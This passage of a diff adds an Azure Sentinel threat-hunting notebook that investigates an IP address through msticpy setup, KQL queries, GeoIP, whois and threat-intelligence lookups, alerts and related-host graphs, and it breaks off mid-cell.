BqV5Dxt37Rp9X9vf2N/sfvutcm45p/byrXv3Nl+/6Iry+hqU5v3W67fi6Y3l54S3O958o/zcXp7tct3z+uPmXVli2K2vvz7mvWS7XMdsU69VzjHnnih16cOPlmB182uvle0/durZZdtY9sRT5bgnXvnzgPdwO+a0uc0X7txRAtLjt/0vzUdmX9586ORZglIAAAAAAADoQ1AKAABD7kgPSk+/fmkJJ29e+9joiJhR49E6ymXC0gSXiUQ/f/ZFo9sdf+nCEl3WcLNul9E02zFqDSeffHl7iR9rJNmOTONb868u0Waiy7qs1wW33FXi0XZ0+oVz5jXPv/pqiWA/ftq5hxyU9p7vWUtuLSOG9i5PWJpj5xzycw1K29cvf969fsO45YlIH92ytcSjXz7/vVFKE9smCv3ewsXl58i6LMu2eU2/a5X9rnxmY7leuW5ZVq9/b2T6QRxz6gXNnz732ubjl99dItI/v+EflHA0jn3i7zQf/u3zynaCUgAAAAAAAOhPUAoAAEPum8//d81f2P1vRwO8w+GLy3Z1HqvXZILSfqNZfvaHc5vndu8eDRNriHnLusfHbFdjxxpuzrrh5hJi9k7DHu1j1ddF/l63yRTziTh7Q9C2GsHeNbK/ftHkoQal/bbrfb91eULS/FyD0vpzVaembwegdfnB7knvtel3raJOb5/QNT/X85vMdPfHv/yvOp+vg/nNPf+++erav9L8mTnXj9mfoBQAAAAAAAD6E5QCAMCQ++rav1oiu+Oe/f3DIqND/pnzx4Z8/UwmKJ1om6zLSJlfPGde33Cyxo41yOy3XV2X+DERZL9Isnd/XT76/dnNrY8+UaaAzyiqmZL+qntXNZ84/b2RMuNwBaV1u97l9f31e795XbbL9r3Le6/3dxYsap54aVsJcbOvql6bftcqcm/ao5km5M1Ipidddd2Y7br82rUPNV+4c/tBfXbpxuaT1zzU/PIltzW/cPrFnfsKQSkAAAAAAAD0JygFAIAhd6RPed9vm0yn/vALmw9rUJop6g9HUFplavhMGZ+gNGFpQsrzbrqjrBuUoDQjuma7jAR7xo+XluXHX7qw2bhz1+i16Xetqoz8+vL+fWXk1+znyZe3H7bp7g+FoBQAAAAAAAD6E5QCAMCQO9KD0slOef+9hYubnQfGB5a9AegHnfK+d39dPjP7wuZL513SHHPymaPLvn3Zwmbr6683G7bvaD5+2rkDE5Su3vR8+fmrF142uk3vtel3rapc890j1/z2x9Y329/YP6np7qeCoBQAAAAAAAD6E5QCAMCQO9KD0tOvX1pixJvXPlZGJa3L599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+ } + }, + "cell_type": "markdown", + "metadata": {}, + "source": [ + "[Contents](#toc)\n", + "### IP Explorer Mindmap\n", + "Below mindmap diagram shows hunting workflow depending upon the type of IP address provided\n", + "\n", + "![ipexplorer-mindmapv2.PNG](attachment:ipexplorer-mindmapv2.PNG)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "---\n", + "### Notebook initialization\n", + "The next cell:\n", + "- Checks for the correct Python version\n", + "- Checks versions and optionally installs required packages\n", + "- Imports the required packages into the notebook\n", + "- Sets a number of configuration options.\n", + "\n", + "This should complete without errors. If you encounter errors or warnings look at the following two notebooks:\n", + "- [TroubleShootingNotebooks](https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/TroubleShootingNotebooks.ipynb)\n", + "- [ConfiguringNotebookEnvironment](https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/ConfiguringNotebookEnvironment.ipynb)\n", + "\n", + "If you are running in the Azure Sentinel Notebooks environment (Azure Notebooks or Azure ML) you can run live versions of these notebooks:\n", + "- [Run TroubleShootingNotebooks](./TroubleShootingNotebooks.ipynb)\n", + "- [Run ConfiguringNotebookEnvironment](./ConfiguringNotebookEnvironment.ipynb)\n", + "\n", + "You may also need to do some additional configuration to successfully use functions such as Threat Intelligence service lookup and Geo IP lookup. \n", + "There are more details about this in the `ConfiguringNotebookEnvironment` notebook and in these documents:\n", + "- [msticpy configuration](https://msticpy.readthedocs.io/en/latest/getting_started/msticpyconfig.html)\n", + "- [Threat intelligence provider configuration](https://msticpy.readthedocs.io/en/latest/data_acquisition/TIProviders.html#configuration-file)\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "ExecuteTime": { + "end_time": "2020-05-15T23:01:51.949751Z", + "start_time": "2020-05-15T23:01:51.909753Z" + } + }, + "outputs": [], + "source": [ + "from pathlib import Path\n", + "import os\n", + "import sys\n", + "import warnings\n", + "from IPython.display import display, HTML, Markdown\n", + "\n", + "REQ_PYTHON_VER=(3, 6)\n", + "REQ_MSTICPY_VER=(0, 5, 0)\n", + "\n", + "display(HTML(\"

Starting Notebook setup...

\"))\n", + "if Path(\"./utils/nb_check.py\").is_file():\n", + " from utils.nb_check import check_python_ver, check_mp_ver\n", + "\n", + " check_python_ver(min_py_ver=REQ_PYTHON_VER)\n", + " try:\n", + " check_mp_ver(min_msticpy_ver=REQ_MSTICPY_VER)\n", + " except ImportError:\n", + " !pip install --upgrade msticpy\n", + " if \"msticpy\" in sys.modules:\n", + " importlib.reload(msticpy)\n", + " else:\n", + " import msticpy\n", + " check_mp_ver(REQ_PYTHON_VER)\n", + " \n", + "\n", + "# If not using Azure Notebooks, install msticpy with\n", + "# !pip install msticpy\n", + "from msticpy.nbtools import nbinit\n", + "extra_imports = [\n", + " \"msticpy.nbtools.entityschema, IpAddress\",\n", + " \"msticpy.nbtools.entityschema, GeoLocation\",\n", + " \"msticpy.sectools.ip_utils, create_ip_record\",\n", + " \"msticpy.sectools.ip_utils, get_ip_type\",\n", + " \"msticpy.sectools.ip_utils, get_whois_info\",\n", + "]\n", + "nbinit.init_notebook(\n", + " namespace=globals(),\n", + " extra_imports=extra_imports,\n", + ");\n", + "WIDGET_DEFAULTS = {\n", + " \"layout\": widgets.Layout(width=\"95%\"),\n", + " \"style\": {\"description_width\": \"initial\"},\n", + "}" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "[Contents](#toc)\n", + "### Get WorkspaceId and Authenticate to Log Analytics \n", + "
\n", + "  Details...\n", + "If you are using user/device authentication, run the following cell. \n", + "- Click the 'Copy code to clipboard and authenticate' button.\n", + "- This will pop up an Azure Active Directory authentication dialog (in a new tab or browser window). The device code will have been copied to the clipboard. \n", + "- Select the text box and paste (Ctrl-V/Cmd-V) the copied value. \n", + "- You should then be redirected to a user authentication page where you should authenticate with a user account that has permission to query your Log Analytics workspace.\n", + "\n", + "Use the following syntax if you are authenticating using an Azure Active Directory AppId and Secret:\n", + "```\n", + "%kql loganalytics://tenant(aad_tenant).workspace(WORKSPACE_ID).clientid(client_id).clientsecret(client_secret)\n", + "```\n", + "instead of\n", + "```\n", + "%kql loganalytics://code().workspace(WORKSPACE_ID)\n", + "```\n", + "\n", + "Note: you may occasionally see a JavaScript error displayed at the end of the authentication - you can safely ignore this.
\n", + "On successful authentication you should see a ```popup schema``` button.\n", + "To find your Workspace Id go to [Log Analytics](https://ms.portal.azure.com/#blade/HubsExtension/Resources/resourceType/Microsoft.OperationalInsights%2Fworkspaces). Look at the workspace properties to find the ID.\n", + "
" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "ExecuteTime": { + "end_time": "2020-05-15T23:02:52.662562Z", + "start_time": "2020-05-15T23:02:52.653563Z" + } + }, + "outputs": [], + "source": [ + "#See if we have an Azure Sentinel Workspace defined in our config file, if not let the user specify Workspace and Tenant IDs\n", + "from msticpy.nbtools.wsconfig import WorkspaceConfig\n", + "ws_config = WorkspaceConfig()\n", + "try:\n", + " ws_id = ws_config['workspace_id']\n", + " ten_id = ws_config['tenant_id']\n", + " config = True\n", + " md(\"Workspace details collected from config file\")\n", + "except KeyError:\n", + " md(('Please go to your Log Analytics workspace, copy the workspace ID'\n", + " ' and/or tenant Id and paste here to enable connection to the workspace and querying of it..
'))\n", + " ws_id_wgt = nbwidgets.GetEnvironmentKey(env_var='WORKSPACE_ID',\n", + " prompt='Please enter your Log Analytics Workspace Id:', auto_display=True)\n", + " ten_id_wgt = nbwidgets.GetEnvironmentKey(env_var='TENANT_ID',\n", + " prompt='Please enter your Log Analytics Tenant Id:', auto_display=True)\n", + " config = False" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "ExecuteTime": { + "end_time": "2020-05-15T23:03:22.552179Z", + "start_time": "2020-05-15T23:02:56.043852Z" + } + }, + "outputs": [], + "source": [ + "# Authentication\n", + "qry_prov = QueryProvider(data_environment=\"LogAnalytics\")\n", + "qry_prov.connect(connection_str=ws_config.code_connect_str)\n", + "table_index = qry_prov.schema_tables" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "[Contents](#toc)\n", + "## Enter the IP Address and query time window\n", + "\n", + "Type the IP address you want to search for and the time bounds over which search.\n", + "\n", + "You can specify the IP address value in the widget e.g. 192.168.1.1" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "ExecuteTime": { + "end_time": "2020-05-15T23:03:22.632179Z", + "start_time": "2020-05-15T23:03:22.619179Z" + } + }, + "outputs": [], + "source": [ + "ipaddr_text = widgets.Text(\n", + " description=\"Enter the IP Address to search for:\", **WIDGET_DEFAULTS\n", + ")\n", + "display(ipaddr_text)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "ExecuteTime": { + "end_time": "2020-05-15T23:03:56.698491Z", + "start_time": "2020-05-15T23:03:56.631491Z" + } + }, + "outputs": [], + "source": [ + "query_times = nbwidgets.QueryTime(units=\"day\", max_before=20, before=5, max_after=7)\n", + "query_times.display()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "ExecuteTime": { + "end_time": "2020-05-15T23:04:05.784278Z", + "start_time": "2020-05-15T23:04:05.776278Z" + } + }, + "outputs": [], + "source": [ + "# Set up function to allow easy reference to common parameters for queries throughout the notebook\n", + "def ipaddr_query_params():\n", + " return {\n", + " \"start\": query_times.start,\n", + " \"end\": query_times.end,\n", + " \"ip_address\": ipaddr_text.value.strip()\n", + " }" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "[Contents](#toc)\n", + "## Detemine IP Address Type" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "ExecuteTime": { + "end_time": "2020-05-15T23:04:47.927548Z", + "start_time": "2020-05-15T23:04:43.963316Z" + } + }, + "outputs": [], + "source": [ + "ipaddr_type = get_ip_type(ipaddr_query_params()['ip_address'])\n", + "\n", + "md(f'Depending on the IP Address origin, different sections of this notebook are applicable', styles=[\"bold\", \"large\"])\n", + "md(f'Please follow either the Interal IP Address or External IP Address sections based on below Recommendation', styles=[\"bold\"])\n", + "\n", + "#Get details from Heartbeat table for the given IP Address and Time Parameters\n", + "heartbeat_df = qry_prov.Heartbeat.get_info_by_ipaddress(**ipaddr_query_params())\n", + "\n", + "# Set hostnames retrived from Heartbeat table if available\n", + "if not heartbeat_df.empty:\n", + " hostname = heartbeat_df[\"Computer\"][0]\n", + "else:\n", + " hostname = \"\"\n", + " \n", + "if not heartbeat_df.empty:\n", + " ipaddr_origin = \"Internal\"\n", + " md(f'IP Address type based on subnet: {ipaddr_type} & IP Address Owner based on available logs : {ipaddr_origin}', styles=[\"blue\",\"bold\"])\n", + " display(Markdown('#### Recommendation - Go to section [InternalIP](#goto_internalIP)'))\n", + "elif ipaddr_type==\"Private\" and heartbeat_df.empty:\n", + " ipaddr_origin = \"Unknown\"\n", + " md(f'IP Address type based on subnet: {ipaddr_type} & IP Address Owner based on available logs : {ipaddr_origin}', styles=[\"blue\",\"bold\"])\n", + " display(Markdown('#### Recommendation - Go to section [InternalIP](#goto_internalIP)'))\n", + "else:\n", + " ipaddr_origin = \"External\"\n", + " md(f'IP Address type based on subnet: {ipaddr_type} & IP Address Owner based on available logs : {ipaddr_origin}', styles=[\"blue\",\"bold\"])\n", + " display(Markdown('#### Recommendation - Go to section [ExternalIP](#goto_externalIP)'))\n", + " \n", + "#Populate related IP addresses for the calculated hostname\n", + "az_net_df = pd.DataFrame()\n", + "if \"AzureNetworkAnalytics_CL\" in table_index:\n", + " aznet_query = f\"\"\"\n", + " AzureNetworkAnalytics_CL | where ResourceType == 'NetworkInterface' \n", + " | where SubType_s == \"Topology\" \n", + " | search \\'{ipaddr_text.value}\\' \n", + " | where TimeGenerated >= datetime({query_times.start}) \n", + " | where TimeGenerated <= datetime({query_times.end}) \n", + " | where VirtualMachine_s has '{hostname}' \n", + " | top 1 by TimeGenerated desc \n", + " | project PrivateIPAddresses = PrivateIPAddresses_s, PublicIPAddresses = PublicIPAddresses_s\"\"\"\n", + " az_net_df = qry_prov.exec_query(query=aznet_query)\n", + " \n", + "# Create IP Entity record using available dataframes or input ip address if nothing present\n", + "if az_net_df.empty and heartbeat_df.empty:\n", + " ip_entity = IpAddress()\n", + " ip_entity['Address'] = ipaddr_query_params()['ip_address']\n", + " ip_entity['Type'] = 'ipaddress'\n", + " ip_entity['OSType'] = 'Unknown'\n", + " md('No Heartbeat Data and Network topology data found')\n", + "elif not heartbeat_df.empty:\n", + " if az_net_df.empty:\n", + " ip_entity = create_ip_record(\n", + " heartbeat_df=heartbeat_df)\n", + " else:\n", + " ip_entity = create_ip_record(\n", + " heartbeat_df=heartbeat_df, az_net_df=az_net_df)\n", + "#Display IP Entity\n", + "md(\"Displaying IP Entity\", styles=[\"green\",\"bold\"])\n", + "print(ip_entity)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "\n", + "## External IP" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "[Contents](#toc)\n", + "### GeoIP Lookups for External IP Addresses" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "ExecuteTime": { + "end_time": "2020-04-27T08:33:37.478812Z", + "start_time": "2020-04-27T08:33:37.470173Z" + } + }, + "outputs": [], + "source": [ + "# msticpy- geoip module to retrieving Geo Location for Public IP addresses\n", + "# To force Threatinel lookup for Internal public IP, replace and with or in if condition\n", + "if ipaddr_type == \"Public\" and ipaddr_origin == \"External\" :\n", + " iplocation = GeoLiteLookup()\n", + "\n", + " loc_results, ext_ip_entity = iplocation.lookup_ip(ip_address=ipaddr_query_params()['ip_address'])\n", + " md(\n", + " 'Geo Location for the IP Address ::', styles=[\"bold\",\"green\"]\n", + " )\n", + " print(ext_ip_entity[0])\n", + "else:\n", + " md(f'Analysis section Not Applicable since IP address owner is {ipaddr_origin}', styles=[\"bold\",\"red\"])" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "[Contents](#toc)\n", + "### Whois Registrars for External IP Addresses" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "ExecuteTime": { + "end_time": "2020-04-27T08:33:39.572115Z", + "start_time": "2020-04-27T08:33:39.566009Z" + } + }, + "outputs": [], + "source": [ + "# ipwhois module to retrieve whois registrar for Public IP addresses\n", + "# To force Threatinel lookup for Internal public IP, replace and with or in if condition\n", + "if ipaddr_type == \"Public\" and ipaddr_origin == \"External\" :\n", + " from ipwhois import IPWhois\n", + "\n", + " whois = IPWhois(ipaddr_query_params()['ip_address'])\n", + " whois_result = whois.lookup_whois()\n", + " if whois_result:\n", + " md(f'Whois Registrar Info ::', styles=[\"bold\",\"green\"])\n", + " display(whois_result)\n", + " else:\n", + " md(\n", + " f'No whois records available', styles=[\"bold\",\"orange\"]\n", + " )\n", + "else:\n", + " md(f'Analysis section Not Applicable since IP address owner is {ipaddr_origin}', styles=[\"bold\",\"red\"])" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "[Contents](#toc)\n", + "### Opensource and Azure Sentinel ThreatIntel Lookups" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "#### Configure your TI Provider settings\n", + "If you have not used threat intelligence lookups before you will need to supply API keys for the \n", + "TI Providers that you want to use. Please see the section on configuring [msticpyconfig.yaml](#msticpyconfig.yaml-configuration-File)\n", + "\n", + "Then reload provider settings:\n", + "```\n", + "mylookup = TILookup()\n", + "mylookup.reload_provider_settings()\n", + "```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "ExecuteTime": { + "end_time": "2020-04-27T08:33:43.562087Z", + "start_time": "2020-04-27T08:33:43.554830Z" + }, + "scrolled": true + }, + "outputs": [], + "source": [ + "# To force Threatinel lookup for Internal public IP, replace and with or in if condition\n", + "if ipaddr_type == \"Public\" and ipaddr_origin == \"External\" :\n", + " mylookup = TILookup()\n", + " mylookup.loaded_providers\n", + " resp = mylookup.lookup_ioc(observable=ipaddr_query_params()['ip_address'], ioc_type=\"ipv4\")\n", + " md(f'ThreatIntel Lookup for IP ::', styles=[\"bold\",\"green\"])\n", + " display(mylookup.result_to_df(resp).T)\n", + "else:\n", + " md(f'Analysis section Not Applicable since IP address owner is {ipaddr_origin}', styles=[\"bold\",\"red\"])" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "[Contents](#toc)\n", + "### Passive DNS lookups for External IP Addresses" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "ExecuteTime": { + "end_time": "2020-04-27T08:33:45.838706Z", + "start_time": "2020-04-27T08:33:45.829919Z" + } + }, + "outputs": [], + "source": [ + "# To force Passive DNS lookup for Internal public IP, change and with or in if\n", + "if ipaddr_type == \"Public\" and ipaddr_origin == \"External\" :\n", + " # retrieve passive dns from TI Providers\n", + " pdns = mylookup.lookup_ioc(\n", + " observable=ipaddr_query_params()['ip_address'],\n", + " ioc_type=\"ipv4\",\n", + " ioc_query_type=\"passivedns\",\n", + " providers=[\"XForce\"],\n", + " )\n", + " pdns_df = mylookup.result_to_df(pdns)\n", + " if not pdns_df.empty and pdns_df[\"RawResult\"][0] and \"RDNS\" in pdns_df[\"RawResult\"][0]:\n", + " pdnsdomains = pdns_df[\"RawResult\"][0][\"RDNS\"]\n", + " md(\n", + " 'Passive DNS domains for IP: {pdnsdomains}',styles=[\"bold\",\"green\"]\n", + " )\n", + " display(mylookup.result_to_df(pdns).T)\n", + " else:\n", + " md(\n", + " 'No passive domains found from the providers', styles=[\"bold\",\"orange\"]\n", + " )\n", + "else:\n", + " md(f'Analysis section Not Applicable since IP address owner is {ipaddr_origin}', styles=[\"bold\",\"red\"])" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "\n", + "## Internal IP Address" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "[Contents](#toc)\n", + "### Data Sources available to query related to IP" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "ExecuteTime": { + "end_time": "2020-05-15T23:04:59.773853Z", + "start_time": "2020-05-15T23:04:53.039482Z" + } + }, + "outputs": [], + "source": [ + "if ipaddr_origin in [\"Internal\",\"Unknown\"]:\n", + " # KQL query for full text search of IP address and display all datatypes populated for the time period\n", + " datasource_status = \"\"\"\n", + " search \\'{ip_address}\\' or \\'{hostname}\\'\n", + " | where TimeGenerated >= datetime({start}) and TimeGenerated <= datetime({end})\n", + " | summarize RowCount=count() by Table=$table\n", + " \"\"\".format(\n", + " **ipaddr_query_params(), hostname=hostname\n", + " )\n", + " datasource_status_df = qry_prov.exec_query(datasource_status)\n", + "\n", + " # Display result as transposed matrix of datatypes availabel to query for the query period\n", + " if not datasource_status_df.empty:\n", + " available_datasets = datasource_status_df['Table'].values\n", + " md(\"Datasources available to query for IP ::\", styles=[\"green\",\"bold\"])\n", + " display(datasource_status_df)\n", + " else:\n", + " md_warn(\"No datasources contain given IP address for the query period\")\n", + "else:\n", + " md(f'Analysis section Not Applicable since IP address type is: {ipaddr_origin}', styles=[\"bold\",\"red\"])" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "[Contents](#toc)\n", + "### Check if IP is assigned to multiple hostnames" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "ExecuteTime": { + "end_time": "2020-05-15T23:05:03.895367Z", + "start_time": "2020-05-15T23:05:02.486243Z" + } + }, + "outputs": [], + "source": [ + "if ipaddr_origin == \"Internal\" or not datasource_status_df.empty:\n", + " # Get single event - try process creation\n", + " if ip_entity['OSType'] =='Windows':\n", + " if \"SecurityEvent\" not in available_datasets:\n", + " raise ValueError(\"No Windows event log data available in the workspace\")\n", + " host_name = None\n", + " matching_hosts_df = qry_prov.WindowsSecurity.list_host_processes(\n", + " query_times, host_name=hostname, add_query_items=\"| distinct Computer\"\n", + " )\n", + " elif ip_entity['OSType'] =='Linux':\n", + " if \"Syslog\" not in available_datasets:\n", + " raise ValueError(\"No Linux syslog data available in the workspace\")\n", + " else:\n", + " linux_syslog_query = f\"\"\" Syslog | where TimeGenerated >= datetime({query_times.start}) | where TimeGenerated <= datetime({query_times.end}) | where HostIP == '{ipaddr_text.value}' | distinct Computer \"\"\"\n", + " matching_hosts_df = qry_prov.exec_query(query=linux_syslog_query)\n", + "\n", + " if len(matching_hosts_df) > 1:\n", + " print(f\"Multiple matches for '{hostname}'. Please select a host from the list.\")\n", + " choose_host = nbwidgets.SelectString(\n", + " item_list=list(matching_hosts_df[\"Computer\"].values),\n", + " description=\"Select the host.\",\n", + " auto_display=True,\n", + " )\n", + " elif not matching_hosts_df.empty:\n", + " host_name = matching_hosts_df[\"Computer\"].iloc[0]\n", + " print(f\"Unique host found for IP: {hostname}\")\n", + "elif datasource_status_df.empty:\n", + " md_warn(\"No datasources contain given IP address for the query period\")\n", + "else: \n", + " md(f'Analysis section Not Applicable since IP address type is : {ipaddr_origin}', styles=[\"bold\",\"red\"])" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "[Contents](#toc)\n", + "### System Info" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "ExecuteTime": { + "end_time": "2020-05-15T23:05:07.346683Z", + "start_time": "2020-05-15T23:05:07.330684Z" + } + }, + "outputs": [], + "source": [ + "# Retrieving System info from internal table if IP address is not Public\n", + "if ipaddr_origin == \"Internal\" and not heartbeat_df.empty:\n", + " md(\n", + " 'System Info retrieved from Heartbeat table ::', styles=[\"green\",\"bold\"]\n", + " )\n", + " display(heartbeat_df.T)\n", + "else:\n", + " md_warn(\n", + " 'No records available in HeartBeat table'\n", + " )" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "[Contents](#toc)\n", + "### ServiceMap - Get List of Services for Host" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "ExecuteTime": { + "end_time": "2020-05-15T23:05:10.389939Z", + "start_time": "2020-05-15T23:05:10.369939Z" + } + }, + "outputs": [], + "source": [ + "if ipaddr_origin == \"Internal\":\n", + " if \"ServiceMapProcess_CL\" not in available_datasets:\n", + " md_warn(\"ServiceMap data is not enabled\")\n", + " md(\n", + " f\"Enable ServiceMap Solution from Azure marketplce:
\"\n", + " +\"https://docs.microsoft.com/en-us/azure/azure-monitor/insights/service-map#enable-service-map\",\n", + " styles=[\"bold\"]\n", + " )\n", + "\n", + " else:\n", + " servicemap_proc_query = \"\"\"\n", + " ServiceMapProcess_CL\n", + " | where Computer == \\'{hostname}\\'\n", + " | where TimeGenerated >= datetime({start}) and TimeGenerated <= datetime({end})\n", + " | project Computer, Services_s, DisplayName_s, ExecutableName_s , ExecutablePath_s \n", + " \"\"\".format(\n", + " hostname=hostname, **ipaddr_query_params()\n", + " )\n", + "\n", + " servicemap_proc_df = qry_prov.exec_query(servicemap_proc_query)\n", + " display(servicemap_proc_df)\n", + "else:\n", + " md(f'Analysis section Not Applicable since IP address type is {ipaddr_type}', styles=[\"bold\",\"red\"])" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Related Alerts" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "ExecuteTime": { + "end_time": "2020-05-15T23:05:14.185177Z", + "start_time": "2020-05-15T23:05:14.123178Z" + } + }, + "outputs": [], + "source": [ + "ra_query_times = nbwidgets.QueryTime(\n", + " units=\"day\",\n", + " origin_time=query_times.origin_time,\n", + " max_before=28,\n", + " max_after=5,\n", + " before=5,\n", + " auto_display=True,\n", + ")\n" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "### Visualization - Timeline of Related Alerts" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "ExecuteTime": { + "end_time": "2020-05-15T23:05:19.536611Z", + "start_time": "2020-05-15T23:05:17.943028Z" + } + }, + "outputs": [], + "source": [ + "#Provide hostname if present to the query\n", + "if hostname:\n", + " md(f\"Searching for alerts related to {hostname}...\")\n", + " related_alerts = qry_prov.SecurityAlert.list_related_alerts(\n", + " ra_query_times, host_name=hostname\n", + " )\n", + "else:\n", + " md(f\"Searching for alerts related to ip address(es) {ipaddr_query_params()['ip_address']}\")\n", + " related_alerts = qry_prov.SecurityAlert.list_alerts_for_ip(\n", + " ra_query_times, source_ip_list=ipaddr_query_params()['ip_address']\n", + " )\n", + "\n", + "\n", + "def print_related_alerts(alertDict, entityType, entityName):\n", + " if len(alertDict) > 0:\n", + " md(\n", + " f\"Found {len(alertDict)} different alert types related to this {entityType} (`{entityName}`)\",styles=[\"bold\",\"orange\"]\n", + " )\n", + " for (k, v) in alertDict.items():\n", + " print(f\"- {k}, # Alerts: {v}\")\n", + " else:\n", + " print(f\"No alerts for {entityType} entity `{entityName}`\")\n", + "\n", + "\n", + "if isinstance(related_alerts, pd.DataFrame) and not related_alerts.empty:\n", + " host_alert_items = (\n", + " related_alerts[[\"AlertName\", \"TimeGenerated\"]]\n", + " .groupby(\"AlertName\")\n", + " .TimeGenerated.agg(\"count\")\n", + " .to_dict()\n", + " )\n", + " print_related_alerts(host_alert_items, \"host\", hostname)\n", + " nbdisplay.display_timeline(\n", + " data=related_alerts, title=\"Alerts\", source_columns=[\"AlertName\"], height=200\n", + " )\n", + "else:\n", + " md(\"No related alerts found.\",styles=[\"bold\",\"green\"])" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + " ### Browse List of Related Alerts\n", + " Select an Alert to view details" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "ExecuteTime": { + "end_time": "2020-05-15T23:05:24.530275Z", + "start_time": "2020-05-15T23:05:24.464277Z" + } + }, + "outputs": [], + "source": [ + "def disp_full_alert(alert):\n", + " global related_alert\n", + " related_alert = SecurityAlert(alert)\n", + " nbdisplay.display_alert(related_alert, show_entities=True)\n", + "\n", + "recenter_wgt = widgets.Checkbox(\n", + " value=True,\n", + " description='Center subsequent query times round selected Alert?',\n", + " disabled=False,\n", + " **WIDGET_DEFAULTS\n", + ")\n", + "if related_alerts is not None and not related_alerts.empty:\n", + " related_alerts[\"CompromisedEntity\"] = related_alerts[\"Computer\"]\n", + " md(\"Click on alert to view details.\", styles=[\"bold\"])\n", + " display(recenter_wgt)\n", + " rel_alert_select = nbwidgets.SelectAlert(\n", + " alerts=related_alerts,\n", + " action=disp_full_alert,\n", + " )\n", + " rel_alert_select.display()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "[Contents](#toc)\n", + "## Related Hosts\n", + "**Hypothesis:** That an attacker has gained access to the host, compromized credentials for the accounts and laterally moving to the network gaining access to more hosts.\n", + "\n", + "This section provides related hosts of IP address which is being investigated. .If you wish to expand the scope of hunting then investigate each hosts in detail, it is recommended that to use the **Host Explorer Notebook (include link).**\n", + "\n", + "#### __NOTE - the following sections are only relevant for Internal IP Addresses.__" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "[Contents](#toc)\n", + "### Visualization - Networkx Graph" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "ExecuteTime": { + "end_time": "2020-05-15T23:05:30.863302Z", + "start_time": "2020-05-15T23:05:29.870080Z" + } + }, + "outputs": [], + "source": [ + "import networkx as nx\n", + "if ipaddr_origin == \"Internal\":\n", + " # Retrived relatd accounts from SecurityEvent table for Windows OS\n", + " if ip_entity['OSType'] =='Windows':\n", + " if \"SecurityEvent\" not in available_datasets:\n", + " raise ValueError(\"No Windows event log data available in the workspace\")\n", + " else:\n", + " related_hosts = \"\"\"\n", + " SecurityEvent\n", + " | where TimeGenerated >= datetime({start}) and TimeGenerated <= datetime({end})\n", + " | where IpAddress == \\'{ip_address}\\' or Computer == \\'{hostname}\\' \n", + " | summarize count() by Computer, IpAddress\n", + " \"\"\".format(\n", + " **ipaddr_query_params(), hostname=hostname\n", + " )\n", + "\n", + " related_hosts_df = qry_prov.exec_query(related_hosts)\n", + "\n", + " elif ip_entity['OSType'] =='Linux':\n", + " if \"Syslog\" not in available_datasets:\n", + " raise ValueError(\"No Linux syslog data available in the workspace\")\n", + " else:\n", + " related_hosts_df = qry_prov.LinuxSyslog.list_logons_for_source_ip(invest_times, ip_address=ipaddr_query_params()['ip_address'],add_query_items='extend IpAddress = HostIP | summarize count() by Computer, IpAddress')\n", + "\n", + " # Displaying networkx - static graph. for interactive graph uncomment and run next block of code.\n", + " plt.figure(10, figsize=(22, 14))\n", + " g = nx.from_pandas_edgelist(related_hosts_df, \"IpAddress\", \"Computer\")\n", + " md('Entity Relationship Graph - Related Hosts :: ',styles=[\"bold\",\"green\"])\n", + " nx.draw_circular(g, with_labels=True, size=40, font_size=12, font_color=\"blue\")\n", + "\n", + "\n", + " # Uncomment below cells if you want to dispaly interactive graphs using Pyvis library, Azure notebook free tier may not render the graph correctly.\n", + " # logonpyvis_graph = Network(notebook=True, height=\"750px\", width=\"100%\", bgcolor=\"#222222\", font_color=\"white\")\n", + "\n", + " # # set the physics layout of the network\n", + " # logonpyvis_graph.barnes_hut()\n", + "\n", + " # sources = related_hosts_df['Computer']\n", + " # targets = related_hosts_df['IpAddress']\n", + " # weights = related_hosts_df['count_']\n", + "\n", + " # edge_data = zip(sources, targets, weights)\n", + "\n", + " # for e in edge_data:\n", + " # src = e[0]\n", + " # dst = e[1]\n", + " # w = e[2]\n", + 